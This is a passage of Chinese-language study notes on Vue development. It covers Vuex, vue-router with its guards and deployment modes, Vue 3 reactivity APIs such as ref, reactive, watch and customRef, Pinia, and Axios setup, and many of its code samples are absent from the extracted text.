		//业务逻辑处理完后,继续向下一个环节走,就到了数据的更新
		//提交上下文环境
		context.commit('PLUS_ONE',value);
	}
};

actions处理完毕后就到下一个环节,下一个环节mutations负责state的更新:

const mutations = {
	/**
	 * 在actions中提交就会执行该方法
	 * 该方法负责state的更新
	 * @param state 状态对象
	 * @param value 上一环节传来的数据
	 * @constructor
	 */
	PLUS_ONE(state,value){
		state.startNum += value;
	}
};

在App.vue中调用:

这里可以一直更新是因为基本数据类型是值的传递

dispatch方法的第二个参数就是要传递过去的数据

继续分发dispatch

如果在action中需要调用其他的action方法,不能直接调用,action方法只能由dispatch调用

context就类似于一个$store:

vuex工作原理

context是小型的$store对象,如果想跳过action直接commit:

this.$store.commit('PLUS_ONE',this.startNum + 1);

mutation:

多组件数据共享


在子组件中获取数组长度:

因为此时的actions业务逻辑很简单,可以直接越过actions进行commit:


vuex的getters

如果其他组件要使用vuex的数据,并且要求这个数据经过一些处理(比如反转),可以使用vuex的getters

在使用的时候:

扩展运算符

ES6的扩展运算符:...

  • 对数组使用:将数组中的元素全部获取出来

  • 对对象使用:获取对象中的全部属性,但是不能直接输出

    获取的结果是:,这种形式当然不能直接输出

    输出方式:

    虽然与直接输出的效果是相同的,但是这样得到的是一个全新的对象:

    使用在对象上一般用于对象属性的合并:

    	let x_y = {
    		x : 1,
    		y : 1
    	};
    	let m_n = {
    		m : 1,
    		n : 1
    	};
    	let p_q = {
    		p : 1,
    		q : 1
    	};
    	let x_y_m_n_p_q = {...x_y , ...m_n , ...p_q};
    	console.log(x_y_m_n_p_q)
    

    或者:

    	let x_y = {
    		x : 1,
    		y : 1
    	};
    	let x_y_m_n = {
    		m : 1,
    		...x_y,
    		n : 1
    	};
    

    对于之前的User组件:

可以优化这种写法,但是为了避免即将发送的冲突,将state中的username改为uname

优化计算属性mapState与mapGetters

  • mapState

可以将上文中的操作定义为计算属性:

但是这样写完之后,计算属性中的格式是固定的,意味着这个代码是可以自动生成的

使用vuex插件提供的mapState对象,这也是负责state对象映射工作的一个对象

前面的可以省略单引号,是计算属性的名称,后面的不能省略单引号,是要从state中获取的变量

打印的结果:

最终的形式:

还可以用数组形式,但是数组形式的前提必须是计算属性的名称和state中的变量完全相等

扩展运算符执行后的结果就将三个计算属性放在了computed当中

  • mapGetters

还有一个问题没解决:

v-model双向数据绑定的是uname,uname计算属性由mapState扩展而来,扩展来的:

computed : {
    uname(){
        this.$store.state.uname;
    }
}

是没有set方法的,而在文本框中输入数据相当于是对uname进行set操作,正常应是:

使用mapState就会控制台报错:uname使用到了没有的setter方法

对于双向绑定的计算属性,需要手动设置set方法

优化方法mapActions与mapMutation

在这种method方法中是不处理业务的,一般来说只有一行代码,dispatch给action或者commit给mutation,这行代码也是固定的格式

不确定的因素:方法的名称,action/mutation的名称,传递的参数

如果methods当中使用dispatch:

这样就相当于直接调用action的saveUser方法,如果需要传值就在调用的时候传递:

也可以使用数组形式,要求action和methods中的方法名相同:

如果methods当中使用commie:

vuex的模块化开发

提供一个界面,有A、B两个组件:

store.js:

import Vue from "vue";
import Vuex from 'vuex';
Vue.use(Vuex);
const actions = {
	doA_1(){
		console.log('doA_1 action executed')
	},
	doB_1(){
		console.log('doB_1 action executed')
	}
	
};
const mutations = {
	doA_2(){
		console.log('doA_2 mutation executed')
	},
	doB_2(){
		console.log('doB_2 mutation executed')
	}
};
const state = {
	a : 1,
	b : 1,
};
const getters = {
	computedA(){
		return 1;
	},
	computedB(){
		return 1;
	}
}
export default new Vuex.Store({
	actions,
	state,
	mutations,
	getters
})

store.js中既有A组件的数据,也有B组件的数据;这些数据都混杂在一起,为了解决这个问题vuex提出了模块化开发思想

A组件:

拆分模块

vuex建议,一个功能对应一个模块;当前将其拆分为A业务和B业务

import Vue from "vue";
import Vuex from 'vuex';
Vue.use(Vuex);
const a = {
	actions : {
		doA_1(){
			console.log('doA_1 action executed')
		},
	},
	mutations : {
		doA_2(){
			console.log('doA_2 mutation executed')
		},
	},
	getters : {
		computedA(){
			return 1;
		},
	},
	state : {
		b : 1,
	},
};
const b = {
	actions : {
		doB_1(){
			console.log('doB_1 action executed')
		}
	},
	mutations : {
		doB_2(){
			console.log('doB_2 mutation executed')
		}
	},
	getters : {
		computedB(){
			return 1;
		}
	},
	state : {
		a : 1,
	},
};
export default new Vuex.Store({
	modules : {
		// 模块名 : 模块
		aModule : a,
		bModule : b,
	}
})

其中如果模块名和模块相等,可以省略:

在之前的程序中:

这样就无法正常访问了,在mounted中查看当前组件this:

其中是:

也就是说,需要通过this.$store.state.aModule.a访问

其中的getters:

还可以使用之前的方式访问

对于actions:

这样访问是没有问题的,其中不管哪个模块的doA_1同名方法都会一并执行

但是只希望输出aModule的doA_1方法,需要在定义模块时开启命名空间:

但是这样做后,getters、action、mutation都无法访问了,需要在访问时额外配置:

对于action和mutation:

对于getters方法:

访问:

拆分模块为单独的js文件

引入:

map相关操作

如果拆分为单独的js文件并启用命名空间:

读取state数据:

// 方式一:通过$store.state读取
this.$store.state.Vuex模块化名称.数据属性名
 
// 方式二:通过mapState方式简写读取
computed: {
    ...mapState('Vuex模块化名称', ['数据属性名', ...])
}

getters数据:

// 方式一:通过$store.getters读取
this.$store.getters['Vuex模块化名称/getters数据名']
 
// 方式二:通过mapGetters方式简写读取
computed: {
    ...mapGetters('Vuex模块化名称', ['getters数据名', ...])
}

调用dispatch(调用时,一定要传参):

<!-- 调用incrementOdd,并传参为num -->
<span @click="incrementOdd(num)"></span>
 
// 方式一:通过$store.dispatch
this.$store.dispatch('Vuex模块化名称/Actions中的方法名称', value)
 
// 方式二:通过mapActions方法简写
methods: {
    ...mapActions('Vuex模块化名称', {incrementOdd: 'Actions中的方法名称', ...})
}

调用commit(调用时,一定要传参):

<!-- 调用increment,并传参为num -->
<span @click="increment(num)"></span>
 
// 方式一:通过$store.dispatch
this.$store.commit('Vuex模块化名称/Mutations中的方法名称', value)
 
// 方式二:通过mapMutations方法简写
methods: {
    ...mapMutations('Vuex模块化名称', {increment: 'Mutations中的方法名称', ...})
}

在actions中模拟Ajax请求:

actions : {
    displayBugs(context,value){
        axios.get('url').then(
            response => {
                context.commit('DISPLAY_BUGS',response.data);
        },
            error => {
                console.log('错误信息为:',error.message)
            }
        )
    }
},
state : {
    bugList : [],
},
mutations : {
    DISPLAY_BUGS(state,value){
        state.bugList = value;
    },
},

在A组件中使用:

路由 route

路由器 router 是管理和调度路由 route的;对于一个应用来说,路由器只需要一个,路由有多个

路由也可以看作key 和 value 的对应关系,key是路径,value是对应的组件;路由是为了单页面web应用开发

  • 传统web应用:多页面web应用,一个web站点由多个HTML页面组成,页面切换时切换到新的HTML页面上,当前页面会全部刷新

  • 单页面web应用: Single Page web Application 整个网站中只有一个HTML页面,点击只是完成当前页面中组件的切换,属于页面局部刷新

切换组件时,浏览器的地址栏会发生变化,路由器时刻监视浏览器地址栏上的地址,如果路由器发现地址栏发生变化,会将对应的组件更新到对应的区域

  • 路由的工作原理
key + value ===> route
路由表达了一组对应关系
路由器管理多组对应关系
  1. 点击需求管理按钮,浏览器地址栏变化 : /project/manager

  2. 路由器监视到浏览器地址栏变化

  3. 路由器根据路径匹配路由

    router  ---    /project/manager ===> 需求管理组件
    
  4. 将需求管理组件渲染到router-view,完成路由切换

  1. 用路由需要安装 vue-router插件

vue2安装vue-router3

vue3安装vue-router4

  1. 在main.js中安装插件:

  1. 创建router对象

使用路由需要对vm开启一个配置项 router,需要传递一个路由器对象,这个路由器对象一般定义在router下的index.js中创建并暴露

路径变为 /hebei 就渲染Hebei.vue

  1. main.js中配置router

在main.js中导入并配置router对象:

路由程序

多页面应用程序:

此时没有用tap选项卡,只使用两个页面,通过设置selected类控制选中样式:

点击超链接切换后整个页面全部刷新

改造为SPA:

设置两个组件,一个属于河北省,一个属于河南省,点击之后组件进行切换

如果使用路由方式,就不能使用超链接a标签了,需要使用vue-router插件提供的router-link标签,会被自动编译为a标签

点击之后,希望在指定的位置展示对应的组件:

需要使用router-view 路由视图 告知路由器要渲染组件的位置:

点击河北省,就是激活了河北省的组件,可以只用active-class指定激活时的样式

多级路由嵌套

点击石家庄 就显示石家庄下属的区,需要再设置ShiJiaZhuang.vue组件:

点击石家庄后,在router-view中显示石家庄下属的区组件,可以将区组件设置为石家庄的子路由:

但是在使用时需要将其写为全路径:

效果:

组件分为普通组件和路由组件,路由组件一般会放在特殊的目录 pages 当中:

对应的router-index.js也需要更改

路由传参

对于 市 区 来说,这两个组件的样式是相同的,只是其中的数据是不同的,没必要定义为两个组件,可以将其定义为一个组件,在点击不同的市时,对区组件传递一个参数,通过参数生成对应的数据

传参有两种方式:

  • query方式传参

    /url?name=value&key=value
    

在City组件中获取参数就可以,所有的路由组件都有 $route 属性,可以获取到子路由中对应的路由对象:

在Heibei.vue中,使用query方式对路由对象传递了一些数据,这些数据传递给了路由对象的query属性,就可以获取到路由对象后再获取query数据:

在页面中就可以用插值语法或者v-for直接使用:

但是在实际开发中数据都是动态的,在Hebei.vue中传递过去的应该是在data中定义或者其他方式获取的数据

在router-link中:

需要使用v-bind动态绑定 + 模板语法,注意外层一定要有字符串符号

query形式传参还可以用对象形式:

外层也要有引号

链接同时激活

点击一个嵌套路由,链接被同时激活:

这与链接地址有关:

目前来说的解决办法是定义两个子路由,两个不同的路径指向同一个City组件

  • 路由命名

为了避免在父级组件中的名称过长,可以给路由指定一个name属性:

在router-link中可以使用name跳转:

但是使用name跳转必须使用对象形式,字符串形式不支持name

params传参

以:/hebei/sjz/长安区/裕华区/新华区 形式传参

  1. 字符串形式:

但是params传参必须在index.js中对path标注一下:

以 : 开始的看作参数;如果不对其进行标注,会把整个看作一个完整的路径

在组件中接收:

  1. 对象形式

如果使用params方式传参,这里不能用path,只能用name

如果params传递的是一个对象:

定义的也是一个对象:

在传递的时候会将对象强制格式化为字符串:

在某些情况下是不正确的,应该在传递前将其转化为JSON格式的字符串,传递之后将JSON格式的字符串转换为对象:

传递时:

接收时:

路由的props优化

在接收数据时:

插值表达式中的内容过多,计算属性虽能简化插值表达式中的内容,但是计算属性就会变得更多,这样做是得不偿失的

vue提供了一个配置 props 在路由的配置中可以使用这个配置项

在进行跳转的时候,一定会经过这个路由,也就会检测到这个属性,在组件中就可以使用props配置项接收:

这个属性就可以当作data直接使用,但是按照上文中的写法x的值永远是 ‘m’

props还有一种函数式写法:

在组件中指定props: ['a1','a2','a3'] 就可以直接使用

还有一种方式:

直接将params对象转换为props对象,但是只有params方式传参才可以使用

push和replace模式

浏览器的历史记录是存放在栈 数据结构中的,存放在栈中有两种不同的模式:

  1. push模式:追加方式入栈
  2. replace模式:替换栈顶元素方式入栈

浏览器的默认模式是push模式,浏览器前进或后退,并不会删除栈中的历史记录,只是前后移动指针

开启replace模式:

或者:

编程式路由导航

通过事件触发(点击)完成路由切换,是编程式路由导航

切换的动作是由路由器完成的,this.$router获取到整个项目的路由器对象,一般一个项目只需要一个

进行导航:

其中由push和replace方法

另外还提供了:


点击一次button,可以正常执行,如果点击第二次:

在使用编程式路由导航时,push和replace方法会返回一个Promise对象,Promise对象期望通过参数的方式给它两个回调函数,一个成功时回调,一个失败时回调;如果没有给这两个参数,就会出现这个错误

解决办法:

添加两个回调函数就可以了

路由组件的销毁

对当前的组件添加一个状态:

当前组件的状态,点击河南省后再点击河北省:

组件的状态消失了,也就是在默认情况下进行路由的切换原先的路由一定会被销毁

也可以使用生命周期函数验证:

在切换组件时,这句话输出了。

希望在切换组件时保留原组件的状态

市区组件是由App.vue的这个router-view控制的,对其添加 keep-alive标签:

这样就设置了其中的所有路由组件在切换的时候不会销毁

也可以指定切换时某个组件不被销毁:

这个属性值是在创建Heibei.vue时指定的name:

include采用数组形式可以指定多个组件:

路由组件的两个额外生命周期钩子

  • activated:在路由组件激活时执行
  • deactivated:在路由组件被切走时执行

设置在进入河北省时每搁一秒向控制台打印一句话,在组件销毁时停止打印

在mounted中设置定时器:

在beforeDestroy中销毁定时器:

但是对于组件来说,可能会设置其为keep-alive,beforeDestroy不会执行,就可以使用两个额外的生命周期函数

路由守卫

路由守卫是保护路由安全的机制

希望当前登录用户是admin的时候才能访问石家庄和邯郸

在点击石家庄和邯郸,切换出这两个组件之前执行一段代码进行鉴权

这些代码可以写在路由守卫当中

全局前置守卫

需求:查看除了hebei.vue和henan.vue,其他所有组件阻止访问,需要在切换组件之前进行控制

全局前置路由守卫在创建router对象之后,暴露router对象之前

全局前置路由守卫在初始化的时候调用一次,以后每次切换都会执行一次

to和from都是路由对象route

如果需要判断的组件很多,这样做就太麻烦了,可以在路由中自定义一个属性,对这个属性进行判断,如果为true就需要鉴权,没有这个属性的组件就是不需要鉴权的,每次判断都是false

这个自定义属性必须写在路由对象的meta中定义


全局后置路由守卫

需求:根据当前点击的省市区生成上方的title

document.title = ???;

将省市区信息定义在每个组件的meta中,这样也可以,但是最好交给全局后置路由守卫来做:

全局后置路由守卫初始化时执行一次,以后每切换一次路由组件完毕之后被调用,只有两个参数

解决初始化时title的undefined:

局部路由守卫 path守卫 路由守卫

定义在route对象中,beforeEnter本身就是一个函数,参数上没有回调函数

在进入name = ‘shi’ 这个组件时被调用

局部路由守卫 component守卫 路由组件守卫

此时是对component的守卫:

此时path守卫的beforeEnter已经执行完毕,要进入组件当中,路由组件守卫定义在组件 .vue当中:

前提:普通组件不执行,必须是路由组件才会执行(定义在index.js中的)

执行顺序:

前端项目上线

路由的两种路径模式:

  1. hash模式:带有 #

  2. history模式:没有 #

启用history模式需要在router的index.js中创建router对象时加一个配置项:mode

项目上线需要打包、编译:

左侧会生成dist目录,将dist目录下(不包括dist的所有内容拷贝到webapps中对应的项目下(WEB-INF同级文件夹))

history在点击刷新按钮时会出问题:

params参数会被认定为请求路径发送给Tomcat服务器,而Tomcat服务器中是没有这个资源的,404错误

但是使用hash模式就不会出问题,因为 # 后面的内容实际上是hash值,hash值不会作为请求路径提交给服务器

history会将整个请求路径提交给服务器

在后端解决history的问题:

web.xml:

Vue3

渐进式JavaScript框架

核心响应式由Object.defineProperty修改为Proxy

Vue2中给一个对象新增属性如果不使用Vue.set || this.$set 、删除对象属性、对数组下标操作都是没有响应式的;Vue3的proxy可以解决一切问题

Proxy是ES6新增的对象,可以通过window.Proxy访问

在Vue3中data必须是一个函数

vue2工程是通过vue-cli脚手架完成创建的,vue-cli脚手架是基于webpack项目构建工具实现的

vue3工程可以通过vue-cli创建,目前更流行采用create-vue完成项目创建(vite),vite比webpack性能好很多

create-vue

create-vue创建的是vite+vue项目的脚手架工具

下一代前端开发与构建工具

安装create-vue脚手架,同时创建vue3工程

npm init vue@latest

目录结构:


默认端口号:5173

Vue3的响应式

vue2的Object.defineProperty:只能对set和get进行数据代理和数据劫持,默认方式为对象扩展属性不会经过set和get,导致无法实现响应式处理,并且经过数组下标进行修改也无法响应式处理

代理对象可以完成目标对象的任务,同时可以额外新增一些程序

通过Proxy可以创建一个代理对象:

let user = {
    name : 'jack',
};

let userProxy = new Proxy(user,{
    //通过配置项完成响应式处理
    
    /**
     * 读取属性时get执行
     * @param target 目标对象
     * @param propertyName 目标对象上的属性名 字符串
     */
    get(target,propertyName){
        console.log('读取')
        return target[propertyName]; // 字符串不能 .
    },

    /**
     * 修改某个属性  或者 新增某个属性时 set执行
     * @param target 目标对象
     * @param propertyName 属性名
     * @param value 属性值
     */
    set(target,propertyName,value){
        console.log('修改 或 新增')
        target[propertyName] = value;
    },

    /**
     * 删除某个属性时执行
     * @param target 目标对象
     * @param propertyName 属性名
     */
    deleteProperty(target,propertyName) {
        console.log('删除')
        return delete target[propertyName]; //不返回就是 undefined 转为布尔就是 false
    }
})

也就是:

Vue3中使用proxy和以上代码略有不同,在访问对象属性的时候统一使用了ES6中新增的Reflect 反射对象

setup

setup是一个函数,是vue3中新增的配置项,setup中没有this

组件中用到的data、methods、computed、hook等都需要配置在setup中

但是目前来说不能直接使用在插值语法当中;

setup函数的返回值:

  1. 返回一个对象,该对象的属性、方法等均可以在模板语法中使用

  2. 返回一个渲染函数,从而执行一个渲染函数渲染页面

    import {h} from 'vue'
    return ()=>{h('h2','hello vue')}
    

在方法中访问数据:

ref完成响应式

当前定义的数据是没有响应式处理的:

点击之后页面没有任何变化,说明此时定义的数据是没有响应式的

如果想达成响应式处理,应该使用:

  1. Object.defineProperty
  2. ES6 Proxy

但是此时只是在setup函数中定义了一个局部变量,在modifyInfo函数中修改局部变量的值,没有机会经过前面两种方式进行响应式处理

在vue2中,使用this.name也就是vm.name访问数据,这是可以做到响应式处理的

如果想定义响应式数据,需要使用ref函数,通过ref可以完成响应式

对name进行响应式声明:

控制台:

RefImpl 全称 Reference Implement 引用的实现 的 实例对象,也就是引用对象,通过ref函数声明数据得到引用对象

RefImpl对象的value属性是具有响应式的:

在对象原型上:

value属性有set和get方法,这是通过Object.defineProperty实现的响应式数据处理

如果访问name,需要通过name.value的形式访问,底层就会调用get方法,get方法调用就会做数据代理;

如果修改name,需要通过name.value = 的形式修改,底层就会调用set方法,set方法就会被数据劫持

  • 对于引用数据类型来说,ref能否完成响应式处理:

基本数据类型和引用数据类型在控制台上的输出:

基本数据类型的value属性通过Object.defineProperty做了响应式处理,使用counterRefImpl.value = 200可以响应式更新,对于引用数据类型来说,通过userRefImpl.value = {} 也可以完成响应式更新:

插值表达式中:

通过userRefImpl.value获得这个对象,.value可以省略

但是这样做是不好的,每次响应式更新都要替换整个对象,userRefImpl :

与基本数据类型不同的是,userRefImpl的value是一个Proxy 代理对象,这个对象就是上文中的userProxy

通过代理对象可以直接访问目标对象的属性,所以如果要更改对象的属性值可以直接通过代理对象 userRefImpl.value进行:

这样也是可以完成响应式更新的

  • 基本数据类型的响应式:ref使用Object.defineProperty
  • 对象的响应式 : ref使用Object.defineProperty + Proxy

在读取userRefImpl时 get方法执行,修改时set执行,这是通过Object.defineProperty实现的;但是这样修改必须将整个对象替换掉,value实际上是一个Proxy,可以避免替换掉整个对象,因为访问Proxy就可以进行响应式的更新

对于ref声明的嵌套对象:

是没有问题的,Proxy代理了目标对象中的所有属性,包括嵌套对象

reactive完成响应式

ref通常适合基本数据类型

reactive函数声明的对象直接就是一个Proxy,省去了Object.defineProperty

reactive不能用于基本数据类型,专门用于对象类型(所有属性都会被代理)

ref如果声明对象类型,底层会自动调用reactive函数生成Proxy对象,再将Proxy对象通过Object.defineProperty方法扩展到RefImpl的value属性上

props

在setup函数中没有this关键字,如何使用传递过来的props?

vue框架在调用setup方法的时候,会对setup方法传递两个参数,第一个就是props,输出:

props是一个Proxy对象,也是具有响应式的

对于props来说不需要return:

在大括号中已经声明了props配置项

生命周期

setup函数在beforeCreate之前执行


在Vue3中,生命周期函数可以定义为选项式或者组合式

选项式:

组合式:

缺少了:

	beforeCreate() {},
	created() {},

因为setup替代了这两个hook,如果要定义在这两个hook中的方法定义在setup中就可以了

自定义事件

监听子组件:

处理:

在子组件中触发:

需要在此处进行触发,但是setup中没有this,可以使用setup的第二个参数:

context是组件上下文对象,其中有emit方法可以触发事件,或者可以使用解构赋值:

全局事件总线

Vue3中移除了prototype,需要借助mitt库

npm install --save mitt

封装event-bus.js,放在src下utils目录下

emitter对象就是全局事件总线对象

使用:

解绑:

计算属性

计算属性在vue3中是一个组合式API

监视属性

如果想监听两个属性,并且这两个属性变化后的处理逻辑相同,可以使用数组形式:

点击之后:

变为数组形式了,前面的数组是newvalue,后面是oldvalue

  • 监视reactive数据

但是取不到oldVal:

只能拿到newVal

对于嵌套的对象的属性:

监视data对象:

可以监视到数据的变化,也就是对于reactive对象来说默认是开启深度监视的,并且无法取消

如果不想监视整个对象,只想监听其中的某一个属性,并且这个属性是基本数据类型,watch的第一个参数必须是一个函数:

可以简写:

如果要监听的一个属性是对象,可以使用另一种写法:

如果可以确定要监听的数据是一个响应式的对象就可以采用这种写法,如果监听多个属性的处理逻辑相同,也可以使用数组形式

在之前监视ref对象时:

没有报错是因为这个位置上的是一个响应式的对象,如果写为counter.value就不行了,因为拿到的只是一个数据

必须采用箭头函数的形式:

但是这种方式是没有必要的,直接使用counter本身就可以了

  • 监听ref定义的对象类型

data是一个RefImpl对象,默认不开启深度监视,此时是无法监视到的

如果要开启深度监视:

如果监视data.value,本身就是一个proxy对象,默认开启深度监视且无法取消

watchEffect

组合式API,定义在setup当中

watchEffect也是用来监视的,参数是一个回调函数,在监视到函数体中使用的数据源变化后执行

并且watchEffect最开始就执行一次

自定义hook函数

为了代码复用

如果很多组件都使用这个求和的方法,使用自定义hook函数就可以完成代码复用

在使用的时候:

shallowReactive shallowRef

  • shallowRef

浅层次响应式,shallowRef用在基本数据类型上和ref没有区别

对于对象类型的数据,shallowRef还是会将value属性使用Object.defineProperty扩展到RefImpl上,但是其中的value属性不是一个Proxy对象了,不再具有响应式能力

如果某个对象中的数据永远都不会改,使用ref每次都要生成Proxy效率就比较低,可以使用shallowRef

但是如果替换掉整个value对象,这个操作还是有响应式的,因为value是通过Object.defineProperty扩展来的

  • shallowReactive

对象的第一层支持响应式,第二层就不再支持了

此时的counter是有响应式的,如果将其替换为shallowReactive:

只在a层具有响应式:

组合式API和选项式API的区别

组合式API:一个钩子.js就是一个独立的功能,可以将功能定义在不同的hook文件中

深只读与浅只读

深只读:响应式对象中的所有属性,包括嵌套子对象中的属性,都是只读不可修改的

浅只读:响应式对象的第一层属性值是只读的

响应式数据判断

isRef() //检查某个值是否为ref
isReactive() //检查一个对象是否由 reactive() 或者shallowReactive()创建
isProxy() //检查一个对象是否由 reactive ref shallowReactive shallowReadonly 创建
isReadonly() //检查传入的值是否为只读对象

toRef toRefs

当前有数据:

在使用时:

每次都使用data.太繁琐了,而模板语法中可以使用的是setup函数中return的内容:


这样返回在页面第一次加载时是正常的:

但是点击按钮就不行了,因为这样写就等同于:

等同于直接返回了一个字面量,这样是无法响应式更新的

解决办法:

这样功能可以实现,但是这样做就相当于将 1 100 1000 转换为RefImpl对象,这三个对象和上文中定义的data对象是没有关系的

data中的数据还是没有改变的

需要一种 关联data中原有属性的方法,既可以响应式的更新,又关联的是data中的数据

Vue提供了toRef方法,关联data中的数据,并且可以响应式的更新

第一个参数指定对象,第二个参数指定对象的属性名

以data中counter1属性为例:

toRef执行后会生成一个全新的对象:ObjectRefImpl 引用对象,有引用对象就有value属性,value属性就是响应式的

在模板语法中使用{{counter1}}解析的也是这个ObjectRefImpl对象,每当读取这个属性,自动读取value,自动调用get方法,get到的就是data对象中对应的属性;如果修改就调用set方法,就会更改data对象上对应的数据

解决最开始的问题,只需要对data对象的属性进行一个数据代理操作,也就是toRef的功能

但是这样代码也很多,解决办法:toRefs(对象名)

生成一个对象,其中是data对象上第一层所有的属性对应的ObjectRefImpl:

现在只需要将三个ObjectRefImpl从对象中拿出来放在return当中

因为只能生成第一层对象的ObjectRefImpl,此时如果访问counter3:

toRaw markRaw

toRaw 转换为原始:将响应式对象转换为普通对象,适用于reactive生成的响应式对象

markRaw 标记为原始:让该对象永远不具备响应式,比如在集成第三方库时有一个巨大的只读列表,不让其具备响应式是一种性能优化

在使用时:

如果一直调用getRawObj:

原始对象中的counter值一直在变化,data对象中的counter值也是随之变化的,这个值并不是1了

在点击 + 1 使得data对象中的counter + 1,在 + 1之前因为getRawObj的操作counter的值变为 6,此时响应式更新为7:

虽然toRaw后对原始对象操作没有响应式,但是还是会改变data对象中counter的值

toRaw后操作这个对象中的值,不会通过set方法或者Proxy对象,但是对象上的值就是被改变了,下一次使用响应式更新就会在上次更新后操作

Fragment

Teleport组件

用于设置组件的显示位置,比如在子组件中设置弹窗的位置

如果设置子组件中弹窗为绝对定位,需要设置其某个父元素为绝对定位的起点,如果这个起点改变,弹窗的位置就会混乱,最好的办法是设置body为绝对定位的起点

如果将弹窗传递给body,就需要使用Teleport

弹窗后一般是不能点击其他位置的,需要设置一个遮罩层来达到模态窗口的效果:


随后将整个遮罩层进行瞬移:

就会移动到body下:

隔代数据传送

provide 提供

inject 注入

完成兄弟组件、子向父的数据传递一般使用全局事件组件,Vue3提供了方法从祖宗组件向后代组件传递数据

在祖宗组件中以key-value形式 provide 提供数据:

在后代组件中 inject 接收数据 :

pinia

vue.js的状态管理,可以跨组件/页面共享状态

  • pinia中action支持同步和异步,vuex不支持
  • 无需创建各个模块,每个store都是独立的
npm install pinia --save
import { createPinia } from 'pinia'
const pinia = createPinia()
app.use(pinia)

store:

  • 数据都放在store中,所有的组件都能够访问并且修改其中的数据
  • 使用defineStore方法创建一个store,用来存放全局数据
  • 一般存储在src下store目录

state:

  • state是store的核心
state : () => {
    return {
        count : 0,
        name : 'Eun',
        isAdmin : true,
        items : [],
        hasChanged : true
    }
}

getters :

  • 计算属性computed
getters : {
    doubleCount : (state) => state.count * 2
}

actions:

  • 可以异步和同步
actions : {
    increment(){
        this.count++
    },
    randomizeCounter(){
        this.count = Math.round(100 * Math.random())
    }
}

demo:

import { ref, computed } from 'vue'
import { defineStore } from 'pinia'

export const useCounterStore = defineStore('counter', () => {
  const count = ref(0)
  const doubleCount = computed(() => count.value * 2)
  function increment() {
    count.value++
  }

    //以对象的方式return供对象使用
  return { count, doubleCount, increment }
})

不能直接将store中的数据赋值给一个变量,这样做不是响应式的

响应式的state:

  1. computed:一般用计算属性封装state和getter

  2. storeToRefs(store)

异步actions:

使用:

<template>
	<ul>
		<li v-for="item in counterStore.list" :key="item.id"></li>
	</ul>
</template>

<script setup>
	import {userCounterStore} from "@/stores/asy";
	import {ref, reactive, computed, onMounted} from 'vue';
	const counterStore = userCounterStore();
	onMounted(() => {
		counterStore.getList();
	})
</script>

watch延迟显示

用户输入一秒后回显数据

使用时:

还可以使用自定义ref的方式

自定义ref

ref是一个函数,我们可以定义属于自己的ref,也是具有响应式的

创建一个防抖的ref:useDebouncedRef

			function useDebouncedRef(value){
				//获取自定义ref对象,并返回
				//调用customRef时必须给其传入一个回调函数,这个回调函数被称为factory
				//回调函数的参数:track 追踪  trigger 触发
				const myRef = customRef((track, trigger)=>{
					//对于factory来说,必须返回一个对象,对象中要有get
					return {
						get(){
							//追踪value最新的值
							track();
							//模板语句中只要使用该数据get自动调用
							return value;
						},
						set(newValue){
							//模板语句修改该数据set自动调用
							value = newValue;
							//触发 get
							trigger();
						}
					}
				});
				return myRef;
			}
			
			/*使用*/
			let name = useDebouncedRef('')
			return {name}

实现1s后get:

注意不要在get中定义setTimeout操作

但是这样做,如果用户连续输入,底层就会有很多setTimeout任务,这就是出现了 “抖动现象”

定义局部全局变量timeout,在每次进行set时,如果上次等待未到时就取消任务,开启本次任务

可以用在优化搜索上,避免多次请求都打到数据库上

		setup() {
			function useDebouncedRef(value,delay){
				const myRef = customRef((track, trigger)=>{
					let timeout;
					return {
						get(){
							track();
							return value;
						},
						set(newValue){
							clearTimeout(timeout)
							timeout = setTimeout(() =>{
								value = newValue;
								trigger();
							},1000 * 1)
						}
					}
				});
				return myRef
			}
			let name = useDebouncedRef('')
			return {name}

vue3语法糖

不必每次都定义出setup函数:

将这部分代码提取出来,在script上加一个setup:

其中定义的数据不需要return,子组件不需要注册

Axios setup

安装:

npm install --save axios vue-axios

main.js:

import axios from 'axios'
import VueAxios from 'vue-axios' //选项式API,组合式API可不装
app.use(VueAxios,axios)

app.config.globalProperties.$axios = axios // 这样做就可以不安装VueAxios

组件中:

<script>
import { getCurrentInstance,reactive,onBeforeMount,computed,ref} from "vue";

export default {
	props : ['index'],
	setup(props) {
		const axios =getCurrentInstance().appContext.config.globalProperties.$axios;
		onBeforeMount(function (){
			axios.get("http://localhost:3000/lyb").then(res=>{
				list.push(...res.data) // 向数组中添加元素 如果使用 = 数组就没有响应式更新了
			}).catch(err=>console.log(err));
		});
		const index = computed(()=>{
			return props.index;
		})
		return { index,list,src }
	}
}
</script>

get请求:

axios.get("http://rap2api.taobao.org/app/mock/data/1632421").then(res=>{
           console.log(res.data);

   }).catch(err=>console.log(err));

post请求:

axios.post('http://localhost:3000/login',{
        user:user.value,
        password:password.value
        }).then(res=>{
                  list.push(...res.data);//结果为数组时
       }).catch(err=>console.log(err));

定义和处理数据:

定义reactive数组: var list=reactive([]) 
赋值reactive数组: list.push(...res.data);
暴露reactive数组: return {list }

第二种方法:

在main.js中:

import axios from 'axios'
app.provide('$axios', axios)

在组件中:

import { ref, reactive, inject, onMounted} from "vue"
const axios = inject("$axios");
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。